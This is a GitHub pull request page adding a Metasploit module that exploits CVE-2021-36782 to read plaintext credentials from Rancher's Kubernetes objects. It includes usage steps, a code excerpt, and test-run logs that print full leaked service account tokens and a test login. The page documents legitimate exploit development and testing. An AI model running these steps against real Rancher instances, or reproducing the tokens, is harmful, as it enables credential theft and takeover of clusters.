Rancher Authenticated API Credential Exposure (CVE-2021-36782) #18956

h00die · 2024-03-12T20:28:30Z

This PR adds a module for an authenticated API credential exposure in Rancher

An issue was discovered in Rancher versions up to and including
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys
and Ranchers service account token (used to provision clusters),
were stored in plaintext directly on Kubernetes objects like Clusters,
for example cluster.management.cattle.io. Anyone with read access to
those objects in the Kubernetes API could retrieve the plaintext
version of those sensitive data.

While there were a whole bunch of fields that the advisory said were vulnerable, I was only able to figure out how to add the ones from the install instructions. I think adding cloud credentials may be fairly easy, I found it in the UI, but I didn't have any valid ones to test against.

Verification

Install the application
Start msfconsole
Do: use auxiliary/gather/rancher_authenticated_api_cred_exposure
Do: set rhosts [ip]
Do: set username [username]
Do: set password [password]
Do: run
If any API items of value are found, they will be printed

documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md

modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb

bwatters-r7 · 2024-03-14T13:50:28Z

modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb

+        ].each do |leaky_key|
+          leaky_key_fixed = leaky_key.split('.')[1..] # remove first item,
+          leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word
+          print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed)


Should we store these credentials?

I wasn't able to configure some/most of them, so matching up all the needed information from all the places (username to go with the password, plus the rhost/service) would be difficult at best. I've left it like this to avoid having to do all that extra guess work

h00die · 2024-04-07T09:44:40Z

@fe-ax for your awareness

fe-ax · 2024-04-07T11:51:08Z

Nice work @h00die. I've bootstrapped the old version using the digital ocean terraform files, and your module works beautifully.

My run

Metasploit Documentation: https://docs.metasploit.com/

msf6 > load /usr/src/metasploit-framework/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb
[-] Failed to load plugin from /usr/src/metasploit-framework/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb: No classes were loaded from /usr/src/metasploit-framework/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb in the Msf::Plugin namespace.
msf6 > use auxiliary/gather/rancher_authenticated_api_cred_exposure
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set rhosts rancher.152.42.141.217.sslip.io
rhosts => rancher.152.42.141.217.sslip.io
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set username readonlyuser
username => readonlyuser
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set password readonlyuserreadonlyuser
password => readonlyuserreadonlyuser
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run
[*] Running module against 152.42.141.217

[*] Attempting login
[+] login successful, querying APIs
[*] Querying /v1/management.cattle.io.catalogs
[*] Querying /v1/management.cattle.io.clusters
[+] Found leaked key Cluster.Status.ServiceAccountToken: eyJhbGciOiJSUzI1NiIsImtpZCI6IkRaRFE2dUhVUzhJTkRzNEVVYkhkYmhwTjdBYlFHQVFWZG5kRXNiSXNNTUUifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4tcGt4ODkiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjU1YzVhYTNmLTRmODEtNGVlNS1hZDhjLTZiMGI2NzVlNjlkMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.baYSFortsc4Y6jc5fFQXgYGUxzGliKIFyCqSBVqeD7VZO8BKJP2YXbmoItOvZn7sCoY9GXtwdovBgEuNxnU5vTU15cfXmUN_nWUykuGn_Dx5vMdiDL2PnUG1POjMqcteCDpqmNe1ZhZFRPXoFq8tQo4ogX6FHfshR943psDHc7YmcK82lUtsAwED1U0ipcTQ67Pqom6DT3GFC7PKJoQ4wZCKj_0nE3lBUAM7-0plkFM_KMXRGRVhp_q0hNCsPfLrFNmV15oPD48eJPpw141niwhlf9kTN4mV_kwalO7uU74Sc945OfKGgfcTVUeRxWPr_UuEQXdQC9mMwCzo8NEfAw
[*] Querying /v1/management.cattle.io.clustertemplates
[*] Querying /v1/management.cattle.io.notifiers
[*] Querying /v1/project.cattle.io.sourcecodeproviderconfig
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/catalogs
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clusters
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/notifiers
[*] Querying /k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs
[*] Running module against ::ffff:982a:8dd9
[*] Attempting login
[+] login successful, querying APIs
[*] Querying /v1/management.cattle.io.catalogs
[*] Querying /v1/management.cattle.io.clusters
[+] Found leaked key Cluster.Status.ServiceAccountToken: eyJhbGciOiJSUzI1NiIsImtpZCI6IkRaRFE2dUhVUzhJTkRzNEVVYkhkYmhwTjdBYlFHQVFWZG5kRXNiSXNNTUUifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4tcGt4ODkiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjU1YzVhYTNmLTRmODEtNGVlNS1hZDhjLTZiMGI2NzVlNjlkMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.baYSFortsc4Y6jc5fFQXgYGUxzGliKIFyCqSBVqeD7VZO8BKJP2YXbmoItOvZn7sCoY9GXtwdovBgEuNxnU5vTU15cfXmUN_nWUykuGn_Dx5vMdiDL2PnUG1POjMqcteCDpqmNe1ZhZFRPXoFq8tQo4ogX6FHfshR943psDHc7YmcK82lUtsAwED1U0ipcTQ67Pqom6DT3GFC7PKJoQ4wZCKj_0nE3lBUAM7-0plkFM_KMXRGRVhp_q0hNCsPfLrFNmV15oPD48eJPpw141niwhlf9kTN4mV_kwalO7uU74Sc945OfKGgfcTVUeRxWPr_UuEQXdQC9mMwCzo8NEfAw
[*] Querying /v1/management.cattle.io.clustertemplates
[*] Querying /v1/management.cattle.io.notifiers
[*] Querying /v1/project.cattle.io.sourcecodeproviderconfig
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/catalogs
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clusters
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/notifiers
[*] Querying /k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs
[*] Auxiliary module execution completed
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) >

h00die · 2024-04-07T12:10:23Z

@fe-ax If someone wanted to set this up in a Docker env instead of DO, do you have any tips? Looks like you need 2 rancher instances and put them into a cluster, that about it?

Also, thanks for the run and proof of it working!

fe-ax · 2024-04-07T12:18:16Z

@fe-ax If someone wanted to set this up in a Docker env instead of DO, do you have any tips? Looks like you need 2 rancher instances and put them into a cluster, that about it?

If you set up Rancher as a standalone development version and import a single node K3s cluster you can shrink the setup down. Not 100% sure though. The DO variant is just to resemble a production environment.

cdelafuente-r7

Thanks @h00die ! I just left a few minor comments, otherwise it looks good to me. I'll assign this PR to @smcintyre-r7 to test, since I believe he has a DigitalOcean account he can use.

modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb

smcintyre-r7 · 2024-04-18T21:08:19Z

I put in a personal access token with all read privileges. Rancher accepted it but the module is not recovering it.

h00die · 2024-04-18T21:34:40Z

I don't believe a personal access token is one of the vulnerable data types that are recoverable

fe-ax · 2024-04-19T08:47:17Z

I put in a personal access token with all read privileges. Rancher accepted it but the module is not recovering it.

It's only recovering the kontainer-engine's service account token, which has all privileges. I have written about it on my blog https://fe.ax/cve-2021-36782/ for more information.

smcintyre-r7

Alright, I was able to get this up and running with terraform. I added the steps to the documentation in the install section to aid future travelers. With that setup, I was able to run the module and see that it is working correctly.

Once the unit tests pass, I'll get this landed. Thanks @h00die and @fe-ax.

metasploit-framework (S:0 J:0) auxiliary(gather/rancher_authenticated_api_cred_exposure) > rerun
[*] Reloading module...
[*] Running module against 192.168.159.175

[*] Attempting login
[+] Login successful, querying APIs
[*] Querying /v1/management.cattle.io.catalogs
[*] Querying /v1/management.cattle.io.clusters
[+] Found leaked key Cluster.Status.ServiceAccountToken: eyJhbGclOiJSUzI1NiIsImtpZCI6IlRuRURfcTltdE9taDNTdGI5em82Q3ZLZ3RERVR0aFAwQVp5ckJkSGFNSEEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Liwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4tOTZ2dHIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc3VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6ImY0ZmZjOTBiLTBiMWMtNDc4Ni05ZTFjLTVlMzkwYWU2ZGMwZiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.LJzmwzVm5ZYg7aIWZVJS7-tgvij4-ZSikzVkFsVecikn5nNBFSS0EexQiNxK19rbTtjnRfebO-OxPgzYLh7U2KOYcv2Qz_6BZrCUxy0nhkkBqF0l91woGEAN0V-g81XQbGdzM6-xdnn6HgqQj1mbquc8oah04e7TOAdNLcxWrMUxspEtbjjDNdnAGEpfZCSq7Z3Rwfkt_gbS_Kmux4vOvgl9lVb561lnS-p_-qLbY2Uyk2Xt750qbKXjUucuXPkTpbIdCQjYUotAWn-Iq_a_5P6v5mlBFZoxHxtWh-Fwyvk-Vetb-ACqfj7PBZZ9xOcMqRPjwdpDJu55L1uqZppQ8Q
[*] Querying /v1/management.cattle.io.clustertemplates
[*] Querying /v1/management.cattle.io.notifiers
[*] Querying /v1/project.cattle.io.sourcecodeproviderconfig
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/catalogs
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clusters
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/notifiers
[*] Querying /k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(gather/rancher_authenticated_api_cred_exposure) >

smcintyre-r7 · 2024-04-19T17:30:36Z

Release Notes

This adds an exploit for CVE-2021-36782, a vulnerability which can be leveraged by an authenticated attacker to leak API credentials from an affected Rancher instance.

rancher cve from 2021

6a3b918

h00die added module docs labels Mar 12, 2024

bwatters-r7 reviewed Mar 14, 2024

View reviewed changes

rancher docs update

0cd174c

cdelafuente-r7 self-assigned this Apr 3, 2024

cdelafuente-r7 reviewed Apr 12, 2024

View reviewed changes

cdelafuente-r7 assigned smcintyre-r7 Apr 12, 2024

rancher review

244c901

Add rancher installation docs

d93b97d

smcintyre-r7 approved these changes Apr 19, 2024

View reviewed changes

smcintyre-r7 merged commit 3697d4c into rapid7:master Apr 19, 2024
34 checks passed

h00die deleted the rancher branch April 19, 2024 19:49

smcintyre-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 26, 2024

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Rancher Authenticated API Credential Exposure (CVE-2021-36782) #18956

Rancher Authenticated API Credential Exposure (CVE-2021-36782) #18956

h00die commented Mar 12, 2024

bwatters-r7 Mar 14, 2024

h00die Mar 21, 2024

h00die commented Apr 7, 2024

fe-ax commented Apr 7, 2024 •

edited

h00die commented Apr 7, 2024 •

edited

fe-ax commented Apr 7, 2024 •

edited

cdelafuente-r7 left a comment

smcintyre-r7 commented Apr 18, 2024

h00die commented Apr 18, 2024

fe-ax commented Apr 19, 2024

smcintyre-r7 left a comment

smcintyre-r7 commented Apr 19, 2024

Rancher Authenticated API Credential Exposure (CVE-2021-36782) #18956

Rancher Authenticated API Credential Exposure (CVE-2021-36782) #18956

Conversation

h00die commented Mar 12, 2024

Verification

bwatters-r7 Mar 14, 2024

Choose a reason for hiding this comment

h00die Mar 21, 2024

Choose a reason for hiding this comment

h00die commented Apr 7, 2024

fe-ax commented Apr 7, 2024 • edited

h00die commented Apr 7, 2024 • edited

fe-ax commented Apr 7, 2024 • edited

cdelafuente-r7 left a comment

Choose a reason for hiding this comment

smcintyre-r7 commented Apr 18, 2024

h00die commented Apr 18, 2024

fe-ax commented Apr 19, 2024

smcintyre-r7 left a comment

Choose a reason for hiding this comment

smcintyre-r7 commented Apr 19, 2024

Release Notes

fe-ax commented Apr 7, 2024 •

edited

h00die commented Apr 7, 2024 •

edited

fe-ax commented Apr 7, 2024 •

edited